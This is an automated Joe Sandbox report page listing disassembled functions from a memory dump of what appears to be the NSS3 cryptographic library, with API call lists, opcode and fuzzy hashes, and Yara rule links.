Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 3a83eca3a5de0965364f3ecbb8f14e44e93b919f58e814d0b0f819ab51ef3f06
Instruction ID: 89d9f6a59fb5b18e5857f9b7a7bc568a1dddd4873a2db06567118ae52f66ee95
Opcode Fuzzy Hash: 3a83eca3a5de0965364f3ecbb8f14e44e93b919f58e814d0b0f819ab51ef3f06
Instruction Fuzzy Hash: E4817EB5A002059FEB24CF55DC84BAB77F5BF89308F144828E81597B51EB34E819CBB9

Function 6C67CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

PR_Now.NSS3 ref: 6C67CD35

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

Part of subcall function 6C666C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C3F

PR_GetCurrentThread.NSS3 ref: 6C67CD54

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

Part of subcall function 6C667260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611CCC,00000000,00000000,?,?), ref: 6C66729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C67CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C67CE2C

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C67CE40

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

Part of subcall function 6C67CEE0: PORT_ArenaMark_Util.NSS3(?,6C67CD93,?), ref: 6C67CEEE
Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C67CD93,?), ref: 6C67CEFC
Part of subcall function 6C67CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C67CD93,?), ref: 6C67CF0B
Part of subcall function 6C67CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C67CD93,?), ref: 6C67CF1D

Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF47
Part of subcall function 6C67CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF67
Part of subcall function 6C67CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C67CD93,?,?,?,?,?,?,?,?,?,?,?,6C67CD93,?), ref: 6C67CF78

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: ba1ff680a0ca8a4d15ad97c9e936a78ccf38498b14a2a8555742fd7065535df2
Instruction ID: ff4b4e7019745f2b331fd74fcb8377aa66b52d418b6ef5079ebcc4b7e1814b2c
Opcode Fuzzy Hash: ba1ff680a0ca8a4d15ad97c9e936a78ccf38498b14a2a8555742fd7065535df2
Instruction Fuzzy Hash: 7E51C776A00504AFE730DF69DC40BEA77F4AF49348F250925D94697B40EB31E905CBA9

Function 6C593850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C593890
TlsGetValue.KERNEL32 ref: 6C5938D2
PR_CallOnce.NSS3(6C7714E4,6C6DCC70), ref: 6C59391C
PR_GetCurrentThread.NSS3 ref: 6C593977
memcpy.VCRUNTIME140(?,?,?), ref: 6C5939A2
PR_GetCurrentThread.NSS3 ref: 6C5939F2

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: f2c03e382b1ee769aaaf955e57faf3216fb47fc8e87b2d08e205023b7c7d1484
Instruction ID: a1c8c6891a0f0ae71e37e0b0233f7fff272f9495ae76dac69bdc26cf19a41c9b
Opcode Fuzzy Hash: f2c03e382b1ee769aaaf955e57faf3216fb47fc8e87b2d08e205023b7c7d1484
Instruction Fuzzy Hash: CE41F171A14394CBD7109F39CD4876677B4FF4A308F1186ADE89C97A51E730D884CB99

Function 6C68FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C68FFE5

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C690004
PR_EnterMonitor.NSS3(?), ref: 6C69001B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: de24dccc1437b183a45b83680495212b4e8b869e4f17d68d4fe9b87f19c3f038
Instruction ID: 44b15ff1868a3b847dd0194df1d8f2576026f6cee11bcbec55db7a2d0b36fb2e
Opcode Fuzzy Hash: de24dccc1437b183a45b83680495212b4e8b869e4f17d68d4fe9b87f19c3f038
Instruction Fuzzy Hash: 12419975204A828BE7208A68DC517EB73B5EF4A30CF10043DE44BCAE90E7B9E549C74E

Function 6C64EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C64EF38

Part of subcall function 6C639520: PK11_IsLoggedIn.NSS3(00000000,?,6C66379E,?,00000001,?), ref: 6C639542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C64EF53

Part of subcall function 6C654C20: TlsGetValue.KERNEL32 ref: 6C654C4C
Part of subcall function 6C654C20: EnterCriticalSection.KERNEL32(?), ref: 6C654C60
Part of subcall function 6C654C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CA1
Part of subcall function 6C654C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C654CBE
Part of subcall function 6C654C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CD2
Part of subcall function 6C654C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D3A

PR_GetCurrentThread.NSS3 ref: 6C64EF9E

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

free.MOZGLUE(00000000), ref: 6C64EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64F016
free.MOZGLUE(00000000), ref: 6C64F022

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 7426778982e32305f9bcd1b49508ec7fb8e71030fc55b9fe83b28938bdb91c3e
Instruction ID: e8f4d42d81a54c1feff4f5244b133a2d07e0e24efb8274d8acfffd8e2934e709
Opcode Fuzzy Hash: 7426778982e32305f9bcd1b49508ec7fb8e71030fc55b9fe83b28938bdb91c3e
Instruction Fuzzy Hash: 8C41A371E00209AFDF018FA9DC45BEE7BB9AF49358F008025F914A7350EB72D9158BA9

Function 6C624860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C624894

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6248CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6248DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6248FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C624912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C62494A

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: d81736119c1f3c68fe9aa1155d1a6f927abb3b510057dea8cd07b9e497573210
Instruction ID: 5b8fe2633c0beb187cf5ee3720f5a3e0870f66481f8ffbc7b4eafa2a0c314b57
Opcode Fuzzy Hash: d81736119c1f3c68fe9aa1155d1a6f927abb3b510057dea8cd07b9e497573210
Instruction Fuzzy Hash: 2C41AF70A18305ABE704CE6AD880BAA73E89F85358F10052CFA5597B41F7B8E904DB5B

Function 6C63CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C63CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C63D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C63D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63D025
PR_NewLock.NSS3 ref: 6C63D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C63D074

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: e0451d647a5bc8e318614a0dbf49d5359208234226bf70824feebee3d6dea774
Instruction ID: 225c96cf46faebeeb01a36aa3f2024e504c93612530a7023c118219b624316be
Opcode Fuzzy Hash: e0451d647a5bc8e318614a0dbf49d5359208234226bf70824feebee3d6dea774
Instruction Fuzzy Hash: 5741C3B0A013219FDB10DF29C88079A7BE4EF09758F11716AEC1D8BB46D778D485CBA9

Function 6C683FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C683FF2

Part of subcall function 6C6714C0: TlsGetValue.KERNEL32 ref: 6C6714E0
Part of subcall function 6C6714C0: EnterCriticalSection.KERNEL32 ref: 6C6714F5
Part of subcall function 6C6714C0: PR_Unlock.NSS3 ref: 6C67150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C684001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C68400F

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C684054

Part of subcall function 6C61BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C61BC24
Part of subcall function 6C61BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C61BC39
Part of subcall function 6C61BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C61BC58
Part of subcall function 6C61BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C61BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C684070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6840CD

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: aa72c6419cc76c67f9b067204e511fc45e4fb2cb2653ff50e44c773e9f8b9d6f
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 9131F8B1E0534597FB008F649C91BBB3368AF9170CF144225ED099B746FB72E95883BA

Function 6C622E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C612D1A), ref: 6C622E7E

Part of subcall function 6C6707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C618298,?,?,?,6C60FCE5,?), ref: 6C6707BF
Part of subcall function 6C6707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6707E6
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C67081B
Part of subcall function 6C6707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C670825

PR_Now.NSS3 ref: 6C622EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C622EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C612D1A), ref: 6C622F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C612D1A), ref: 6C622F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C622F81

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 645d840057fde4ee2d56039c8dde5023af7fd46a2420b0f4a534fc296291a38f
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 0D31457156114087E720C615CC48BEE7365EF81338F644979D12987ED0EB399846CE2E

Function 6C610E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C610A2C), ref: 6C610E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C610A2C), ref: 6C610E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C610A2C), ref: 6C610E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C610A2C), ref: 6C610E90
free.MOZGLUE(00000000), ref: 6C610EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C610A2C), ref: 6C610ED9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 1996a3953a956676b2801163216bbd1229455e36fb2e5bf7e7905afad00f0eb5
Instruction ID: 57b8ffb75757429c28ca9e2b86ad2fd84b72be8ffb9f8d30d5e73e1b57463525
Opcode Fuzzy Hash: 1996a3953a956676b2801163216bbd1229455e36fb2e5bf7e7905afad00f0eb5
Instruction Fuzzy Hash: 5B213176F0828457EF10457F5C45BA776AEDBC574BF150435D91893E01EA60C83683AA

Function 6C61AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C61AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C61AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C739500), ref: 6C61AF23

Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C66F0C8
Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C66F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61AF37

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 5d10bd14496b8dfdec51a7529061287b83e8c14b61e795eb7f9ed48013ac6801
Instruction ID: cf7ec2d7d68c5c7b0e52a8854fb44a866296f84c18bf074260fff2ee76b45d69
Opcode Fuzzy Hash: 5d10bd14496b8dfdec51a7529061287b83e8c14b61e795eb7f9ed48013ac6801
Instruction Fuzzy Hash: 86213AB290D2006BEB108E1D9C01B9A77A4AF8572DF144319FC549BB92E731D54987AF

Function 6C69EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EE85
realloc.MOZGLUE(1A68F804,?), ref: 6C69EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C69EEC5

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

htonl.WSOCK32(?), ref: 6C69EEE3
htonl.WSOCK32(00000000,?), ref: 6C69EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C69EF01

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 443d6d66e50130995de00f1f7e54b1533567ed6ca96e6848da4e6232b63f513b
Instruction ID: c9df8eea72fd3a114477981eeac012674c9fd57c8cac4c1945ed8258afea0e79
Opcode Fuzzy Hash: 443d6d66e50130995de00f1f7e54b1533567ed6ca96e6848da4e6232b63f513b
Instruction Fuzzy Hash: 1B21D171A00215AFDF109F28DC84B9AB7A4FF49358F158179EC099B641E330EC15CBEA

Function 6C617F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C617F68

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
